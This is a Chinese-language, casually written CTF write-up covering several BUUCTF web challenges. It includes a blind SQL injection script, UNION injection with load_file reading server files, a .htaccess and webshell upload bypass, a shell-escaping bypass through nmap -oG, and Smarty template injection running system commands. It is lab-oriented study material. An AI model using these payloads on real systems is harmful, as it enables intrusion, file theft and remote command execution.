快乐寒假3
你👱🏻滴寒假本来似上分滴time
但是你👱🏻打两天多少沾点坐牢,还是滚回来做题了
[CISCN2019 华北赛区 Day2 Web1]Hack World
你👱🏻输入1或者2的时候比较特殊,其他都返回错误
字母返回bool(false)
多次尝试发现过滤了union、and、or、空格等,包括/**/,但是输入1/1和2/2的时候会返回跟输入1相同的结果
1和2返回结果不同,
你👱🏻觉得可能是布尔盲注,()没有过滤,可以使用大部分函数
import requests
import string
def blind_injection(url):
flag = ''
strings = string.printable
for num in range(1,60):
for i in strings:
payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
post_data = {"id":payload}
res = requests.post(url=url,data=post_data)
if 'Hello' in res.text:
flag += i
print(flag)
else:
continue
print(flag)
if __name__ == '__main__':
url = 'http://4d9b3e61-c7ab-43b1-831f-945f73a545ff.node4.buuoj.cn:81/index.php'
blind_injection(url)
你👱🏻这里偷了一个脚本,原理就是盲注
跑一下就得到flag了
但是跑的很慢
[网鼎杯 2018]Fakebook
你👱🏻进入环境,点进去一看
这里注册的时候blog需要为一个网址形式
点击用户名滚进去
其中的url为
http://fda8e00b-199c-4f4f-90c7-bbd7ff20c070.node4.buuoj.cn:81/view.php?no=1
你👱🏻感觉也许能注入,开整
?no = 1 and 1=1 回显正常
?no = 1 and 1=2 回显错误
数字型注入,看看多少列捏
?no = 1 order by 3 正常
?no = 1 order by 4 正常
?no = 1 order by 5 错误
有4列
尝试union联合注入
?no = -1 union select 1,2,3,4--+
然后你👱🏻就被逮到了
再试试
?no=0/**/union/**/select 1,2,3,4#
username是回显位
?no=0/**/union/**/select 1,database(),3,4--+
查数据库名
?no=0/**/union/**/select 1,user(),3,4--+
查数据库信息位为root@localhost,我趣,是root权限
那么我们这里可以使用load_file()函数作为一个绝对路径去加载一个文件
但是你👱🏻不知道flag在哪,不过根据前面的报错能猜到网站的目录结构
flag应该就是在/var/www/html/flag.php
于是你👱🏻
?no=0/**/union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+
找到flag
[GXYCTF2019]BabyUpload
这道题是文件上传题
png文件不让你👱🏻上传 jpg可以
你👱🏻先试着遍历上传.htacess和.user.ini,发现还是不行,你👱🏻觉得大概要看看源码
源码要求上传图片文件小于2kb,沾点🐶
经过你👱🏻测试,这道题还卡的有Content-Type
需要其为image/jpeg才行
文件内容中不允许出现<?
所以首先你👱🏻上传一个.htacess配置文件,允许服务器把123.jpg解析为php
然后紧接着上传一个图片🐴
http://116908e7-0a99-46cf-91bf-8992e0ee771d.node4.buuoj.cn:81/upload/627c1e636b4498e1d54ba6731b549001/123.jpg
使用蚁⚔️连接得到flag
[RoarCTF 2019]Easy Java
你👱🏻打开是这样
help既然能点 看看什么样子
打开只有一句
java.io.FileNotFoundException:{help.docx}
你👱🏻以前没怎么接触过java的这种,所以去看了下这是什么情况
这个大概是报错信息
打开burp截取请求信息为
GET /Download?filename=help.docx HTTP/1.1
Host: 81681c2a-c10d-4a98-a130-e65f93277e02.node4.buuoj.cn:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://81681c2a-c10d-4a98-a130-e65f93277e02.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=88F4F031FD9E56EAC2188F22D45E1379
Connection: close
还是没什么头绪
通过查询知道要改成POST,而且这类可能涉及到WEB-INF/web.xml泄露
这里直接用别银的截图
这里POST上去得到了一些信息
再访问一下WEB-INF/web.xml这个文件
用同样的方法,这里可以看到flag的地址
得到文件路径
找到这里base64加密的编码然后解密
你👱🏻这种题属于是你👱🏻第一次遇到
[BUUCTF 2018]Online Tool
你👱🏻打开就是代码审计
escapeshellarg和escapeshellcmd属于是你👱🏻第一次见
escapeshellarg是什么东西呢 他的作用就是将单引号转义 并将转义后的单引号的前后两部分再用一个单引号括上,比如
123' ls ---> '123'\'' ls'
要注意引号和空格的位置
escapeshellcmd
这个玩意就是在&#;`|*?~<>^()[]{}$, \x0A 和 \xFF和没有配对的单引号前插入”” 但是要注意是没有配对的单引号,比如
'123'\'' ls' ---> '123'\\'' ls\'
在例子里,只有最后的那一个单引号是没有配对的,中间的那两个在一起的其实是配对了
这两个函数放一起会沾点问题
1. 传入的参数是:172.17.0.2' -v -d a=1
2. 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3. 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
4. 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
总而言之就是两次转译后出现了问题,而没有考虑到单引号的情况。
现在你👱🏻发现了 这道题又是新type
后面有个system执行命令所以要利用到
这里本意是希望我们输入ip做一个扫描,通过上面的两个函数来进行规则过滤转译,我们的输入会被单引号引起来,但是因为我们知道了上面的漏洞所以我们可以逃脱这个引号的束缚
常见的比如| & &&这样的注入都是不行的,虽然我们能通过上面的操作逃过单引号,但是最后结果任然有\来转移,这个时候你👱🏻沾点无奈,只能想想nmap能整什么活
你👱🏻search后发现,nmap命令中有一个参数-oG可以实现命令和结果写到文件,那这就有活可以整了,于是写出payload
最后利用蚁剑连接找到flag
[BJDCTF2020]The mystery of ip
你👱🏻初步怀疑跟XFF有关,换成127.0.0.1发现也跟着变,说明是可变的,可能存在模板注入,你👱🏻后面search了一下发现可能是Smarty模板注入,
尝试{system(‘ls’)}没有任何过滤
哦豁爽咯,再试试{system(‘cat /flag’)}
也没有过滤,直接拿下